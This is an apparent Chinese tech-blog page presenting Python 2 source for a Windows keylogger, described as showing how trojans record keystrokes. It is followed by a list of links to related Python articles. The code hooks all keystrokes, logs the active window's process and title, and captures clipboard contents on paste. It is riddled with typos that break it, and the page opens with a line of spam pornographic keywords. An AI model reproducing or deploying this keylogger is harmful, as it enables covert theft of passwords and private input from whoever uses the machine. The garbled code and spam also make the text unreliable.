亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Python告訴你木馬程序的鍵盤記錄原理

 更新時間:2019年02月02日 11:18:17   作者:python爬蟲學習  
今天小編就為大家分享一篇關于Python告訴你木馬程序的鍵盤記錄原理,小編覺得內容挺不錯的,現在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧

前言

Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然后就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#獲取最上層的窗句柄
hwnd = user32.GetForegroundWindow()
#獲取進程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#將進程ID存入變量中
process_ = "%d" % pid.value
#申請內存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#讀取窗口標題
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#關閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#關閉鍵盤監(jiān)聽事件函數
def KeyStroke(event):
global current_window
#檢測目標窗口是否轉移(換了其他窗口就監(jiān)聽新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函數調用
get_current_process()
#檢測擊鍵是否常規(guī)按鍵(非組合鍵等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果發(fā)現ctrl + V事件,就粘貼板內容記錄下來
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循環(huán)監(jiān)聽下一個事件
return True
#創(chuàng)建并注冊hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注冊hook并興趣
kl.hookKeyboard()
pythoncom.PumpMessages()

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對腳本之家的支持。如果你想了解更多相關內容請查看下面相關鏈接

相關文章

  • 分享幾道你可能遇到的python面試題

    分享幾道你可能遇到的python面試題

    最近去筆試,在面試過程中遇到了幾個編程題,比較基礎。所以想著總結一下,所以下面這篇文章主要給大家分享了幾道你可能遇到的python面試題,文中給出了詳細的示例代碼供大家參考學習,需要的朋友們下面來一起看看吧。
    2017-07-07
  • Python 調用 ES、Solr、Phoenix的示例代碼

    Python 調用 ES、Solr、Phoenix的示例代碼

    這篇文章主要介紹了Python 調用 ES、Solr、Phoenix的示例代碼,幫助大家更好的理解和學習python,感興趣的朋友可以了解下
    2020-11-11
  • 分享python機器學習中應用所產生的聚類數據集方法

    分享python機器學習中應用所產生的聚類數據集方法

    本文根據 機器學習中常用的聚類數據集生成方法 中的內容進行編輯實驗和整理而得,有需要的朋友可以參考想,希望可以對大家在聚類數據方面有所幫助
    2021-08-08
  • python 遍歷可迭代對象的實現方法

    python 遍歷可迭代對象的實現方法

    本文主要介紹了python 遍歷可迭代對象的實現方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-02-02
  • python使用xlsxwriter實現有向無環(huán)圖到Excel的轉換

    python使用xlsxwriter實現有向無環(huán)圖到Excel的轉換

    這篇文章主要為大家詳細介紹了python使用xlsxwriter實現有向無環(huán)圖到Excel的轉換,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-12-12
  • python中幾種括號的使用()、[]、{}舉例說明

    python中幾種括號的使用()、[]、{}舉例說明

    這篇文章主要介紹了python中幾種括號的使用()、[]、{}舉例說明,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-05-05
  • python將控制臺輸出保存至文件的方法

    python將控制臺輸出保存至文件的方法

    今天小編就為大家分享一篇python將控制臺輸出保存至文件的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • 詳解OpenCV中直方圖,掩膜和直方圖均衡化的實現

    詳解OpenCV中直方圖,掩膜和直方圖均衡化的實現

    這篇文章主要為大家詳細介紹了OpenCV中直方圖、掩膜、直方圖均衡化詳細介紹及代碼的實現,文中的示例代碼講解詳細,需要的可以參考一下
    2022-11-11
  • Python3 中把txt數據文件讀入到矩陣中的方法

    Python3 中把txt數據文件讀入到矩陣中的方法

    下面小編就為大家分享一篇Python3 中把txt數據文件讀入到矩陣中的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-04-04
  • Python將多個excel表格合并為一個表格

    Python將多個excel表格合并為一個表格

    這篇文章主要為大家詳細介紹了Python將多個excel表格合并為一個表格的方法,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-01-01

最新評論